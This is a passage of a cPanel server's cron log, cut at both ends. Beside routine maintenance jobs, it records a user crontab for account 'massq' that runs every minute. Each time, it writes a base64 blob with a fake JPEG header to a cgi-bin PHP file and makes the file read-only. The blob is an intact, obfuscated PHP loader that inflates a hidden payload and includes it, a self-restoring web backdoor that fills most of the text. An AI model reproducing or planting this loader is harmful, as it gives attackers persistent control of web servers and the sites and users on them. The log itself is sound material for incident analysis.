rN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:15:01 server CROND[24381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:15:01 server CROND[24383]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:15:01 server CROND[24385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:15:01 server CROND[24387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:15:01 server CROND[24389]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 04:15:01 server CROND[24391]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:15:01 server CROND[24390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:15:01 server CROND[24386]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 04:15:01 server CROND[24392]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:16:01 server CROND[25253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:16:01 server CROND[25254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:16:01 server CROND[25255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:17:01 server CROND[25622]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep  9 04:17:01 server CROND[25623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:17:01 server CROND[25624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:17:01 server CROND[25625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:18:01 server CROND[26327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:18:01 server CROND[26328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:18:01 server CROND[26329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:19:01 server CROND[26734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:19:01 server CROND[26736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:19:01 server CROND[26737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:20:01 server CROND[27231]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:20:01 server CROND[27232]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:20:01 server CROND[27243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 04:20:01 server CROND[27250]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:20:01 server CROND[27256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:20:01 server CROND[27257]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:20:01 server CROND[27255]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 04:20:01 server CROND[27254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:20:01 server CROND[27259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:21:01 server CROND[28083]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:21:01 server CROND[28084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:21:01 server CROND[28085]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:22:01 server CROND[28472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:22:01 server CROND[28473]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:22:01 server CROND[28474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:22:59 server run-parts(/etc/cron.daily)[28860]: finished imunify-antivirus.cron
Sep  9 04:22:59 server run-parts(/etc/cron.daily)[6548]: starting logclean
Sep  9 04:22:59 server run-parts(/etc/cron.daily)[28872]: finished logclean
Sep  9 04:22:59 server run-parts(/etc/cron.daily)[6548]: starting logrotate
Sep  9 04:23:00 server run-parts(/etc/cron.daily)[28886]: finished logrotate
Sep  9 04:23:00 server run-parts(/etc/cron.daily)[6548]: starting maldet
Sep  9 04:23:01 server CROND[29338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:23:01 server CROND[29339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:23:01 server CROND[29346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:24:01 server CROND[29739]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:24:01 server CROND[29740]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:24:01 server CROND[29741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:25:02 server CROND[30231]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 04:25:02 server CROND[30232]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 04:25:02 server CROND[30243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 04:25:02 server CROND[30242]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 04:25:02 server CROND[30240]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 04:25:02 server CROND[30244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 04:25:02 server CROND[30239]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 04:25:02 server CROND[30241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:26:01 server CROND[31155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 04:26:01 server CROND[31156]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 